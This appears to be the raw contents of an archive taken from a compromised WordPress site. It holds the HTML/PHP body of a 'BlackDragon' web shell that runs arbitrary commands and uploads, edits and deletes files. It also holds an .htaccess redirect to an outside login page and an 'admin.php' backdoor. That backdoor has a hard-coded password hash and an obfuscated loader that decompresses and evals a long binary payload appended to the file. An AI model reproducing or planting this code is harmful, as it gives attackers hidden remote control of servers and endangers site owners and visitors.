		$dgrp = $dgrp['name'];
	} else {
		$dgrp = filegroup($item);
	}
	return $downer . '/' . $dgrp;
}

if (isset($_POST['newFolderName'])) {
  if ($f[29]($path . '/' . $_POST['newFolderName'])) {
    $f[16]("Create Folder Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Create Folder Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newFileName']) && isset($_POST['newFileContent'])) {
  if ($f[4]($_POST['newFileName'], $_POST['newFileContent'])) {
    $f[16]("Create File Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Create File Failed", "Failed", "error", "?dir=$path");
  }
}

if (isset($_POST['newName']) && isset($_GET['item'])) {
  if ($_POST['newName'] == '') {
    $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  }
  if ($f[30]($path. '/'. $_GET['item'], $_POST['newName'])) {
    $f[16]("Rename Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Rename Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newContent']) && isset($_GET['item'])) {
  if ($f[4]($path. '/'. $_GET['item'], $_POST['newContent'])) {
    $f[16]("Edit Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Edit Failed", "Failed", "error", "?dir=$path");
  }
}
if (isset($_POST['newPerm']) && isset($_GET['item'])) {
  if ($_POST['newPerm'] == '') {
    $f[16]("You miss an important value", "Ooopss..", "warning", "?dir=$path");
  }
  if (chmod($path. '/'. $_GET['item'], $_POST['newPerm'])) {
    $f[16]("Change Permission Successfully!", "Success", "success", "?dir=$path");
  } else {
    $f[16]("Change Permission", "Failed", "error", "?dir=$path");
  }
}
if (isset($_GET['action']) && $_GET['action'] == 'delete' && isset($_GET['item'])) {
  if (is_dir($_GET['item'])) {
    if ($f[27]($_GET['item'])) {
      $f[16]("Delete Successfully!", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Delete Failed", "Failed", "error", "?dir=$path");
    }
  } else {
    if ($f[28]($_GET['item'])) {
      $f[16]("Delete Successfully!", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Delete Failed", "Failed", "error", "?dir=$path");
    }
  }
}
if (isset($_FILES['uploadfile'])) {
  $total = count($_FILES['uploadfile']['name']);
  for ($i = 0; $i < $total; $i++) {
    $mainupload = $f[17]($_FILES['uploadfile']['tmp_name'][$i], $_FILES['uploadfile']['name'][$i]);
  }
  if ($total < 2) {
    if ($mainupload) {
      $f[16]("Upload File Successfully! ", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Upload Failed", "Failed", "error", "?dir=$path");
    }
  }
  else{
    if ($mainupload) {
      $f[16]("Upload $i Files Successfully! ", "Success", "success", "?dir=$path");
    } else {
      $f[16]("Upload Failed", "Failed", "error", "?dir=$path");
    }
  }
}

$dirs = $f[18]($path);

?>
<html>
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-1BmE4kWBq78iYhFldvKuhfTAU6auU8tT94WrHftjDbrCEXSU1oBoqyl2QvZ6jIW3" crossorigin="anonymous">
  <link rel="stylesheet" href="https://pro.fontawesome.com/releases/v5.10.0/css/all.css" integrity="sha384-AYmEC3Yw5cVb3ZcuHtOA93w35dYTsvhLPVnYs9eStHfGJvOvKxVfELGroGkvsg+p" crossorigin="anonymous"/>
  <title><?= $_SERVER['SERVER_NAME'] ?>&#58;<?= $_SERVER['SERVER_PORT'] ?></title>
</head>

<body class="bg-dark text-light">
  <div class="container-fluid">
    <div class="py-3" id="main">
      <div class="box shadow bg-dark p-4 rounded-3">
      	<div class="info mb-3">
        	<i class="fa fa-server"></i>&ensp;<?= $f[0]() ?><br>
        	<i class="fa fa-microchip"></i>&ensp;<?= $_SERVER['SERVER_SOFTWARE'] ?><br>
        	<i class="fa fa-satellite-dish"></i>&ensp;<?= !@$_SERVER['SERVER_ADDR'] ? $f[19]($_SERVER['SERVER_NAME']) : @$_SERVER['SERVER_ADDR'] ?>
        </div>
        <div class="breadcrumb">
          <i class="fa fa fa-folder pt-1"></i>&ensp;<?php foreach ($exdir as $id => $pat) : 
						if ($pat == '' && $id == 0):
					?>
					<a href="?dir=/" class="text-decoration-none text-light">/</a>
					<?php endif; if ($pat == '') continue; ?>
					<?php if ($id + 1 == count($exdir)) : ?>
					<span class="text-secondary"><?= $pat ?></span>
					<?php else : ?>
					<a href="?dir=
					<?php
					for ($i = 0; $i <= $id; $i++) {
						echo "$exdir[$i]";
						if ($i != $id) echo "/";
					}
					?>
					" class="text-decoration-none text-light"><?= $pat ?></a><span class="text-light"> /</span>
          <?php endif; ?>
          <?php endforeach; ?>
          <a href="?" class="text-decoration-none text-light">&nbsp;[ HOME ]</a>
          <a href="?logout" class="text-decoration-none text-light">&nbsp;[ LOGOUT ]</a>
        </div>
        <div class="d-flex justify-content-between">
          <div class="p-2">
            <form action="" method="post">
              <div class="row">
                <div class="col-md-9 mb-3">
                  <input type="text" class="form-control form-control-sm" name="command" placeholder="Command">
                </div>
                <div class="col-md-3">
                  <button type="submit" class="btn btn-outline-light btn-sm">Exec</button>
                </div>
              </div>
            </form>
          </div>
          <div class="p-2">
            <form action="" method="post" enctype="multipart/form-data">
              <div class="row">
                <div class="col-md-9 mb-3">
                  <input type="file" class="form-control form-control-sm" name="uploadfile[]" multiple id="inputGroupFile04" aria-describedby="inputGroupFileAddon04" aria-label="Upload">
                </div>
                <div class="col-md-3">
                  <button type="submit" class="btn btn-outline-light btn-sm">Submit</button>
                </div>
              </div>
            </form>
          </div>
        </div>
        <div class="container" id="tools">
          <?php if (isset($_POST['command'])) : ?>
          <div class="row justify-content-center">
            <pre><?= $f[20]($_POST['command']) ?></pre>
          </div>
          <?php endif; ?>
          <?php if (isset($_GET['action']) && $_GET['action'] != 'delete') : $action = $_GET['action'] ?>
          <div class="row justify-content-center">
            <?php if ($action == 'rename' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label">New Name</label>
                <input type="text" class="form-control" name="newName" value="<?= $_GET['item'] ?>">
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php elseif ($action == 'edit' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label"><?= $_GET['item'] ?></label>
                <textarea id="CopyFromTextArea" name="newContent" rows="10" class="form-control"><?= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="jscopy()">Copy</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php elseif ($action == 'view' && isset($_GET['item'])) : ?>
            <div class="mb-3">
              <label for="name" class="form-label">File Name : <?= $_GET['item'] ?></label>
              <textarea name="newContent" rows="10" class="form-control" disabled=""><?= $f[9]($f[5]($path. '/'. $_GET['item'])) ?></textarea>
              <br>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </div>
            <?php elseif ($action == 'chmod' && isset($_GET['item'])) : ?>
            <form action="" method="post">
              <div class="mb-3">
                <label for="name" class="form-label"><?= $_GET['item'] ?></label>
                <input type="text" class="form-control" name="newPerm" value="<?= $f[11]($f[10]('%o', $f[6]($_GET['item'])), -4); ?>">
              </div>
              <button type="submit" class="btn btn-outline-light">Submit</button>
              <button type="button" class="btn btn-outline-light" onclick="history.go(-1)">Back</button>
            </form>
            <?php endif; ?>
          </div>
          <?php endif; ?>
          <div class="row justify-content-center">
            <div class="collapse" id="newFolderCollapse" data-bs-parent="#tools" style="transition:none;">
              <form action="" method="post">
                <div class="mb-3">
                  <label for="name" class="form-label">Folder Name</label>
                  <input type="text" class="form-control" name="newFolderName" placeholder="BlackDragon">
                </div>
                <button type="submit" class="btn btn-outline-light">Submit</button>
              </form>
            </div>
            <div class="collapse" id="newFileCollapse" data-bs-parent="#tools" style="transition:none;">
              <form action="" method="post">
                <div class="mb-3">
                  <label for="name" class="form-label">File Name</label>
                  <input type="text" class="form-control" name="newFileName" placeholder="blackdragon.php">
                </div>
                <div class="mb-3">
                  <label for="name" class="form-label">File Content</label>
                  <textarea name="newFileContent" rows="10" class="form-control" placeholder="Hello World - BlackDragon"></textarea>
                </div>
                <button type="submit" class="btn btn-outline-light">Submit</button>
              </form>
            </div>
          </div> 
        </div>
        <div class="table-responsive">
          <table class="table table-hover table-dark text-light">
            <thead>
              <tr>
                <td style="width:35%">Name</td>
                <td style="width:10%">Type</td>
                <td style="width:10%">Size</td>
                <td style="width:13%">Owner/Group</td>
                <td style="width:10%">Permission</td>
                <td style="width:13%">Last Modified</td>
                <td style="width:9%">Actions</td>
              </tr>
            </thead>
            <tbody class="text-nowrap">
              <?php
                foreach ($dirs as $dir) :
                  if (!is_dir($dir)) continue;
              ?>
              <tr>
                <td>
                  <?php if ($dir === '..') : ?>
                  <a href="?dir=<?= $f[22]($path); ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
                  <?php elseif ($dir === '.') :  ?>
                  <a href="?dir=<?= $path; ?>" class="text-decoration-none text-light"><i class="fa fa-folder-open"></i> <?= $dir ?></a>
                  <?php else : ?>
                  <a href="?dir=<?= $path . '/' . $dir ?>" class="text-decoration-none text-light"><i class="fa fa-folder"></i> <?= $dir ?></a>
                  <?php endif; ?>
                </td>
                <td class="text-light"><?= $f[8]($dir) ?></td>
                <td class="text-light">-</td>
                <td class="text-light"><?= $f[35]($dir) ?></td>
                <td class="text-light"><?= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?></td>
                <td class="text-light"><?= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?></td>
                <td>
                  <?php if ($dir != '.' && $dir != '..') : ?>
                  <div class="btn-group">
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a><a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
                  </div>
                  <?php elseif ($dir === '.') : ?>
                  <div class="btn-group">
                    <a data-bs-toggle="collapse" href="#newFolderCollapse" role="button" aria-expanded="false" aria-controls="newFolderCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-folder-plus"></i></a>
                    <a data-bs-toggle="collapse" href="#newFileCollapse" role="button" aria-expanded="false" aria-controls="newFileCollapse" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-plus"></i></a>
                  </div>
                  <?php endif; ?>
                </td>
              </tr>
              <?php endforeach; ?>
              <?php
                foreach ($dirs as $dir) :
                  if (!is_file($dir)) continue;
              ?>
              <tr>
                <td>
                  <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=view" class="text-decoration-none text-light"><i class="fa fa-file-code"></i> <?= $dir ?></a>
                </td>
                <td class="text-light"><?= ($f[25]('mime_content_type') ? $f[24]($dir) : $f[8]($dir)) ?></td>
                <td class="text-light"><?= $f[26]($dir) ?></td>
                <td class="text-light"><?= $f[35]($dir) ?></td>
                <td class="text-light"><?= $f[11]($f[10]('%o', $f[6]($dir)), -4); ?></td>
                <td class="text-light"><?= $f[23]("Y-m-d h:i:s", $f[7]($dir)); ?></td>
                <td>
                  <?php if ($dir != '.' && $dir != '..') : ?>
                  <div class="btn-group">
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=edit" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=rename" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-edit"></i></a>
                    <a href="?dir=<?= $path ?>&item=<?= $dir ?>&action=chmod" class="btn btn-outline-light btn-sm mr-1"><i class="fa fa-file-signature"></i></a>
                    <a href="" class="btn btn-outline-light btn-sm mr-1" onclick="return deleteConfirm('?dir=<?= $path ?>&item=<?= $dir ?>&action=delete')"><i class="fa fa-trash"></i></a>
                  </div>
                  <?php endif; ?>
                </td>
              </tr>
              <?php endforeach; ?>
            </tbody>
          </table>
        </div>
        <div class="text-light">&#169; BlackDragon <script type='text/javascript'>var creditsyear = new Date();document.write(creditsyear.getFullYear());</script></div>
      </div>
    </div>
  </div>
  <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.1.3/dist/js/bootstrap.bundle.min.js" integrity="sha384-ka7Sk0Gln4gmtz2MlQnikT1wXgYsOg+OMhuP+IlRH9sENBO0LRn5q+8nbTov4+1p" crossorigin="anonymous"></script>
  <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11.4.0/dist/sweetalert2.all.min.js"></script>
  <script>
  <?php if (isset($_SESSION['message'])) : ?>
        Swal.fire(
          '<?= $_SESSION['status'] ?>',
          '<?= $_SESSION['message'] ?>',
          '<?= $_SESSION['class'] ?>'
        )
  <?php endif; clear(); ?>
    function deleteConfirm(url) {
      event.preventDefault()
      Swal.fire({
          title: 'Are you sure?',
          icon: 'warning',
          showCancelButton: true,
          confirmButtonColor: '#3085d6',
          cancelButtonColor: '#d33',
          confirmButtonText: 'Yes, delete it!'
      }).then((result) => {
          if (result.isConfirmed) {
            window.location.href = url
        }
      })
    }
    function jscopy() {
      var jsCopy = document.getElementById("CopyFromTextArea");
      jsCopy.focus();
      jsCopy.select();
      document.execCommand("copy");
    }
  </script>
</body>
</html>PK       ! pkz      wp/wp/.htaccessnu 7m        RewriteRule ^xnlogde$ https://www.engrand-immobilier.fr/wp-login.php [NC,L]

# Blocage d'IP par pays
# RewriteCond %{ENV:GEOIP_COUNTRY_CODE} !^(FR|US|BE)$
# RewriteRule ^(.*)$ - [F,L]

# BEGIN WordPress
# Les directives (lignes) entre « BEGIN WordPress » et « END WordPress » sont générées
# dynamiquement, et doivent être modifiées uniquement via les filtres WordPress.
# Toute modification des directives situées entre ces marqueurs sera surchargée.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>

# END WordPress

# Wordfence WAF
<Files ".user.ini">
<IfModule mod_authz_core.c>
	Require all denied
</IfModule>
<IfModule !mod_authz_core.c>
	Order deny,allow
	Deny from all
</IfModule>
</Files>

# END Wordfence WAF
PK       ! n n   wp/wp/admin.phpnu 7m        <?php
$passhash = '9bd74360b120b752847479dbf10ce8a3';
$userSh = 'admin';
$vmzb='subs'.'tr';$ngrK='st'.'r'.'_repl'.'ace';$xyPn='exi'.'t';$eBWD='fi'.'le_get'.'_conten'.'ts';$tqpz='gzuncomp'.'ress';eval($tqpz($ngrK('tusizcofhj',">",$ngrK('osmvywndbc',"<",$vmzb($eBWD( __FILE__ ),-172352)))));$xyPn(0);
?>
xZ.w8u@F6e4fT(ZkrrA}扈l'=i8i?{7?WV̯zֿK_pR7ɿ}n_?eٿ?_W._/ßǺ'y˿7w)Nۿ?/{Qawk?N8o?|ۗ1?r?ˇ_B돿_[oF폿AoaOQu?.}wp`=ߧ?7?Yw/?/o_yg/ދ^k31byo8䵃[_듦g:XSEoo)=tusizcofhjW^?9ǿ'Pؿc\gj+Կleeg:p췥@?~&?s%{#춴?Uқ\Ѷ^_b.skosk/7$9菷~1Gys3F?(F_otusizcofhj4ԭI~gǿYo5?YooXGt4qrO0}cȏQ -Cu֮nMECulP8feN4E0kDJ"HLVs&G@S[Ķ
f+t%I1zSJf̢_,	+ o9gYtusizcofhjҞ-K3Ns:GޥJnJZODoОUv/K5Jkˆ7H:1P)88"C,kj~_۷P]~nD.v`tW۹p͊җAxefٜjtusizcofhjivplX'd1|!z3q,ݞ_;CQosmvywndbcsW[c)}[W_gĖn-3I\cQi3f8TtQK(١}O5ȰZ\BEDI,osmvywndbc^ޜgISaQ1osmvywndbcұEEtusizcofhjI$ZW%*OϑfDۍQ!k3R?veAb}qp6`/哟mn._.bYAa(osmvywndbc%W;`Z)vH*(DyjF#&кn'!
2?T_ʯ5ݭJ1H1ѣCXu K];1ӗ#OWi%-r4Bd$-@O"V3PdD:*ĳ98P&'{~gvH|ahwS}EV;|4PG7$j]_Bj9+=O'AR0ޚ9b+QIC	ӥbLc7XɫQ0sQ^*]k	5/OϷosmvywndbcrƷr6kcݯԾxփ?vosmvywndbc;@{g#ǖȷX~A!H|/ $
^bh(
[$ܥykx+Rpvn!ybmթl6c)ZpWK ާ\RL&Go۝㵻^Dv҃-,h/*A}'9m!}=/$qT184qsyg
˞osmvywndbc0N6tusizcofhjz[tƯgtusizcofhjMzd){!~8bHca1\'Ć̗ctݶkJQ-5Cf_DOxr$ U;WŝdG.X}_;,hm==SSӾo_Ky-Op$k̗g1cGjp_SIDnQDtoЄ9ɹEN6-0d9fqhXIA[F鱤Vײm" {~_O[k
 #ذ 1iYhF*Jo.0I+g( X֘ L'&H W}QLO=vazխY*4e\6X7XE0ͻR'1]\AH*(:1q'|j﫿΋8iq́sw c(1Qp5%B@uqdh0_K!T+OMFaU_y %}tDt;;}!tusizcofhjotusizcofhjxֆgefCiQPEY
\[uopB6`޽DKtusizcofhj˻O}x+w|jzZ!aojkq8-3K#vjBK"ۊmu8"0ϐ#$;ʖ
b^Id1`ڽ٤(g3* 	R:Tosmvywndbc$6֕_!߁ž!R'7x-=NULz:(b+V=
z`mSC{5Y
;p_ᔪp`aRe4!~٫_z9Mâk&fZٲ
٪)F6םy~osmvywndbc+Je^zcFF3ئ}Gosmvywndbc媻m ]tusizcofhjCbbr`tKJBj}z'
R@,N_svEKepuEi9zƏ₧{x^5c"fQ/n_,ۥN9+JjjS/~%O /7]M?osmvywndbccEq0:MuC@:݄	#u2ǎX_zwyҰ	γEXyqʠV0HPAWiLmnKLo٣osmvywndbcTHi]qsdUuzLG,fDK{:C» hC_顆I؏kip'Mف2qVjbjds4QhZjv=qtusizcofhjDYI,.l4n:Y~2Lnjϭ|"i,&Mh~M9b4*tׅhT۞/PV9+JQV+UkOo0?0m=F%1!ZzRҊbWcqJD$MWpVI4Wf-,W󣆷6FIi}Һo̰PtusizcofhjZ.,L8Ne_W
b^}@|qpV#e=@ڶr	QY
{[hZ&_ ہ	wsg~ڙJpHfTosmvywndbc3מӤqTCuLjt7;-qZlv*9
`p(oNҽ;]wvmTf+`I(Bʃ6py}K=x8Uڄ&,
K{/[%2A eȭJ_cYǄùgfT,Q0av?=;p0]!TX,4u.bM5josmvywndbcp7펲셈k|*8y\}۬*ɋ,ݨk=Ftusizcofhj]d7s`VnR;,\?U?ǆ_etusizcofhj}(jGosmvywndbc5fE972kJg{Ĉy6cw%\0i~ʆxktusizcofhjtusizcofhj:4ȕ"1ɧ=1]ŒLZ+Nrxפm'˳MاFR~^	;(Rq(̏:g't#;L6%1)
T2C6dIۢɒkw= O|ډaE8{C'v[tusizcofhjي/%K=nDъ24`(Fq,kFsFi-+-/xrSo@͉Н`(eC(choBw3|!R T/Ao:y`YA0R@#rtusizcofhjtW7+1 wQ۾2ickҰ9rٴ9EkIѧ ǪcQ6`fwLwo}΅6~
Z);SWvBnkFW۲ L_?\U1 1=0%r~J'!pp,sIn}tSs~&[Bw% xg%ۨj窇pJ9e!@[ӏ\R9DoLܞ4̀hxx/ȋT`D~4	tusizcofhjE?ZSD|/jg*~80^ULH'ԀH_osmvywndbcDnbeҾ4lBA!y=~_gV.mXITE˪_EPÜivih3EWQ;KTU!~[)ۃǲʂdڶ!5᱓4?BuosmvywndbcbUp'2Q"2Eg|/u%@19
1F8ًO##.nY%*F,osmvywndbcw=wN)P|}ݐ.&k_'u~ma*ܕ\yIԶ0P06]0^-(A$r@.zƷfNe&nL
7o ou00'+k9(Ck҇rktVlySĝ$&6vnkxҩosmvywndbcȌ6=)ruR=&DT-y԰e%9GI!~g.wm;:d.X𺏌q0aR7p$6M䫌?Bg`*7xMC"bf؇YpX(~V1;FQE?[Nawqsf_S4@[UrEgHO]J)pٍR&n*UBL[z(k(Yձ]jZ?؝71?Do{~0̸o@M `tusizcofhj}zR6X⥶)Op,J3Q$Wi-Cfj9#\Qcb1Q8|TIE}lqkP{^e)S[Ɉc1zTrW}t{^.&w8bo9KD(*MQ~G,ӛ8ݚBS\Z KaJ x$Avn$Wf'a@|`6.L`Ҍ,sW~b \IȦUp|xKCBpr$^ԓ(U9WX[uh`"Zo8V9gQS%tusizcofhj}Se-/iϼeם{&L~0~J0P c{L;|2:2VW:O	QuUƇ/IH#ͬ+8zLtusizcofhjBosmvywndbc lUOu ,}@).r~o9XUx	^rݺpGI)fppi}k,ENۉZCsӋ%UD[_C'A]pUk?h@0q%v8c^2B幵XV8	#mضߎ7qNֻ)D:+@6Ԫosmvywndbc snȖosmvywndbc 5E]hosmvywndbc|E\85R/Ǥ3&\l5 h"} NZkIU+ܗ:tmũ!LɰuCf@4|
ڐ)hXEmV|ӹti3߯5:
Պl`!osmvywndbc}FIx;jJBίtWRx_E92ZfRZן/	Fg^G÷:Wosmvywndbcτ⍂#`sG8|Tb=|.`0NۚosmvywndbcY+-aosmvywndbc
s]#ɢ[&n&gtusizcofhjض1jQe%Y-F:|S\^2Z#E_ҳ,_62?{7o?"ϑW}UzTosmvywndbc6}od"5~ PM͍H$tusizcofhjk 2tusizcofhjW9^7HMŋ|J&꼧3rvt'X){e b( :W-M@Q b8g,òM#çh7tPVsUghVu?B7q߰HcD4a/chBVx*HYQaU̳L\W_{BG.FD"Yuڷ?st(0RIosmvywndbcR_9jQ\g7,=[dutusizcofhjպ6WYa,6.R#{a}DNV9Lh5qG'si$ MHwJis"[vS["GrÅ,\0uo,@)dctqx1dyhѨ{wBOl1ҪK *9=?nlޫ 8:ǼO&V?P+?
_rJjJ~\벵Z@.[ EgORn27L
,Dosmvywndbc5}B(:̂Ѳگ^5j`CBA
*tusizcofhj|~^bOtusizcofhj1=~pjkIdP\+O|kX"t{(j|Zhm7=̻K&i.u!(#$vY8l #gV˗~?Nq%&e}^vdN
,(Z6[z]`lqaȗ#l-R8osmvywndbc`4qfosmvywndbc'uΚHUR{.9밠O4VՉrpmstusizcofhjk^/f/@X:J Bʎ	bl5osmvywndbcO66__͛W]CϐWb`	V+Z4Dp
?t=.h"mR_.1^-FfQ$BEmttusizcofhjSLCWu`X]q^~;pFCQl`R;&	_n]a߾ϳtusizcofhj.%DUWfTosmvywndbcߨg?0iS\JrOTI=7vIxe$f˥?tSWXrUfVN`Ӂڝy{KGl{V)y)ߖMK;|o\4,ƫR@osmvywndbcQ4s"3Z6tZ߻z=Lr[J6н%bvv&X$Z_ʩ=luF~r\KiOp^gDtnں,.=O	)$s/M|\LRϨhF|9հosmvywndbc5%b}~ŖzGg%`q
N$v7ټ`8}믱P?5(YaosmvywndbcӌTPw%p(ʘMr^11xϲGx_G	-Na?u3tusizcofhj%~:H!@iБ0MƇb["x)=wpKQm4윩ZKr^X(ʘVmaT26osmvywndbc6=%#y=oA	5Jqwyyꪏ[osmvywndbcB,U*xP$VәyUl`r^=-jOsހ7φ*
]thdefW	sZtusizcofhjosmvywndbc^er-X`
k7osmvywndbc lRvD!Fq(j3o-%Kd:A g^[F&jzT8
UUG\98tusizcofhjtusizcofhj~:#ѐm&yk{4P"x}*fc.c_ns9kA桮Lr4ۻ!*MBG~	$"y[Y1c^D=;PI7JtusizcofhjыLzMyk+s{9)l)Y:\*oyxM"Ccse9gti%Bͱ6&oOdK;S#T3/CCWVN@zؕiO{}?Fi*NĜ!ޡ 2X̆1Ud*H/&X"K.8t/rF#^bÁL`ݯ]H/_h	O5O mtusizcofhjº/2GAox!$dH*ݖFh*jjELe8.ũe#{_0~WULي1&OcY1d9iLA$n)
PBxRs}&Fn9ɼVD(CH;l407:gTL9`uXe1\a}߹F2)9J7nfƄ~3.,lڟhI7p:Tb,vwqH0c`ꪩ5d"$''s2'-uk0osmvywndbcrkEDk6Dϲb:zWqtusizcofhj{5`j	.Z~)4osmvywndbc`G*bGyRe%,"!-zJposmvywndbcx:	?07hQf:5H$`OAhM˰iK]|Hm,2TT##ڂvpxKmNW+5BTgЧZ(Eb6٢T".i-4vwD)RS&	9BsbHhCסHNtusizcofhj7Q*"B6`-}J	\BHƎx%3+"iZ8rmzmg?@ 1tusizcofhjJ1	A͵8LWƴnpöN$\)c@WYc5"F0Qq"Axf,V3PGfY.4rw}In?%TcJo$+UBbYט4	xӿڭ!S{r.m}J(M;yGC! Av8?c5jtj[էosmvywndbcwk\V:4:bhVq$-?%fyqq}]ۏܐNP05A\Q2|Ǆ/B@BȡG=CK23["^,I?i.osmvywndbc`eObh~QM7)XItusizcofhjR~QH}(IQ"SK'贞
TeaF4~(yv&Tp\v(Ky/BA^^ǯGF	La|O:92Bm7ώ_ēҥ:k8*'?G}QoB.jn9bArC#͑m-5WXfM}+KJ0$}+W2\l GSkN.ܵ{U7Nh}J:t0(? @I]`ktusizcofhj//_$]l'*kV$`Rh~F\2kF}ZЃosmvywndbc=߶Z	B/=="7ȔAKcOTt A-+~7d/oJ+{hY9nӐEYPX3i T ln.L)E`l}w?1	aˠ\^~!osmvywndbcve랠[v&Ed8XןiM75A# ;'q}RN	"Ԗ􃋭^v7㨜+qJ\TKD&pV97_ϜG=TY^D8osmvywndbcW5v^pjǩ]^=tusizcofhj"%^T끓LP-7:5G )Yj~9,vޥBLS0لyۭ{x "X4қi;/osmvywndbc0Rۺy\jj/CM[#3n6j*0"gllpA.7^uN/YIPd@,UM!
ݮ7w`^|[ԫWrw࿊1kc/`d)[{̫7 foWfω gĎRLX*DN8fk]cՄA@Bɀ3iϋL)~0uSfX%\vN5~j8$K^#% w%be7cw\&(*xuM+Pt:@'qE:8"'כ$g
pC!*E#(f:05Rbd{??}a.N\:k6\ЩU	F߼4zӎgq!}uM'{5&QVb(25r`?0`.J"%Y^-_`-'j%!*phσ'F\gsZ^~J^uL,WYETlzrvL8	O2r3Vߋ+YîtusizcofhjP B0ThWtusizcofhjRM(TvB$gO&tusizcofhj@{!ѫʄY=韠=ke=J6/K/5yUh/H|-tlICJޏWwu=H'b z@ihE w ~M^nhۙkCۑb_Hi;=ʮoY[rZ6VllUvIJbELB@v$?x!uxqʚ'l϶PsZ1%gc)x0#iMhR)\![eU~$AB%T	+r#Xޞs!tusizcofhj584fRݤi_E-D2=tusizcofhjX3($ݾI}iٺ(3˴M;b;-yz`^Rr7tusizcofhj{Iҁ
e
B:NVD_|ÒdfO93!zܾމK]7ETlٵ%%Q
	bh$3uۑm {w7X45xŦ_YeMj X]JQ=Z"ֽ6}x+8BP]jFa5nuuatusizcofhj@aN$Q_MT1z|,~Pi "A}ɞ`b];hVzdoAW$B#untusizcofhj6jWbƁ7I@4}^ٴixĽ巏=\:M? oE|f.
|s,Xr{f-؊۔RB4i5r3|' oͬm;^|!tusizcofhj̈́SƢcq_0%H̬b.ݾe}(eq8C_͖BHKɼ%_p5B7,))@KM[JjYd2F;bfH5}͛|iI\[h3l11APUbj[+@)OsN.^V"^AosmvywndbcHHtusizcofhjU09ODenxB6@p9a|$-
#%M[FTosmvywndbctusizcofhjwPlX"Zp(A$e~osmvywndbcGg❶=2Uxp"1m'A0f98ynȋهsQێg; +p9s=Ҭ&q?1({揪]4ѩLVp
R9?b5j:7-[zBؚR,@OmBcȯ9!"3}JY}V&[7ew%ɛ48;|O$O;`.0]@lExi7/1ZC.*o09FrzǾDK8e5@kwG*tusizcofhj*k	]tusizcofhjr̋V(ciOvW[u5}ug#:MܡoF9OjsF#t|/7!Ke$!q%ez럼 kT[ﮰ{8\]n
Sti*KhhaqO0	kf?eׄ7qM9lD¾	%/zDWUlK8$"  U:9-hbdSoR
ER4fn%U2w8S~NwYLq-'ch8P7UF{Ctusizcofhjw+urvyKҷ9kS@&-
p~
b=1[Y{G*b`I/osmvywndbc	KS3ف ĕtӮJ (8%oE#en F7Y}!܋.L])osmvywndbc?-%)U"NQ$}4'S8xd=Em4TEHc1Xs{x080exq$RWposmvywndbclz,Jͻ͞7yyV4Sh2i̺f\
g0uQv~@"ݾizWa Fpt9vG)0Xۓuc ^s=QGL+Y+"b)zSxO
QP~/g\[^BzaP/"'Ww/W`F(~ ]W9n .9Ĝ r9Lois!5cFqiޫ;2Nr@97X6mˊmxXtg8 Pmu&c7ayrǴ-1Ϫ$F^ _[8i[BIJ
VWSTD9F:[%07n=6y䶵]osmvywndbctusizcofhjOO܀VVpڥȾhg-J5-_
4VTf:#5 1z+/+a.wn3	Rj98P#}3*6?ؑ 8;le;x5Aq懻1i(O%B4+
Eɷս osmvywndbcG*:FaٱM\a7moNe)#gey]yTglz`}uޛASlDw"[J5+Lm)2sZ}ؾ:W)E)VнruQ.p#'6g;oi "r/ejt9,$8 	YY.AP&v670^۪_3+Px+fNij;{=nxӖnsaFv]+wJÃosmvywndbcĞZji&o$A"a&Ztusizcofhjyr
+x1PY볮E]!|i	ٟO1)9$WU8_nNtusizcofhj Zӎg2c')au+9ѼĲ)S_/t_R)YUk~O'Ӄ zsȘmrY섚dCmhUU+Q0l!D׼aQIoT}_^|9e8JW[UEZH:F{s=Rnn6ޜW\8b2X9*yN+9cy36K
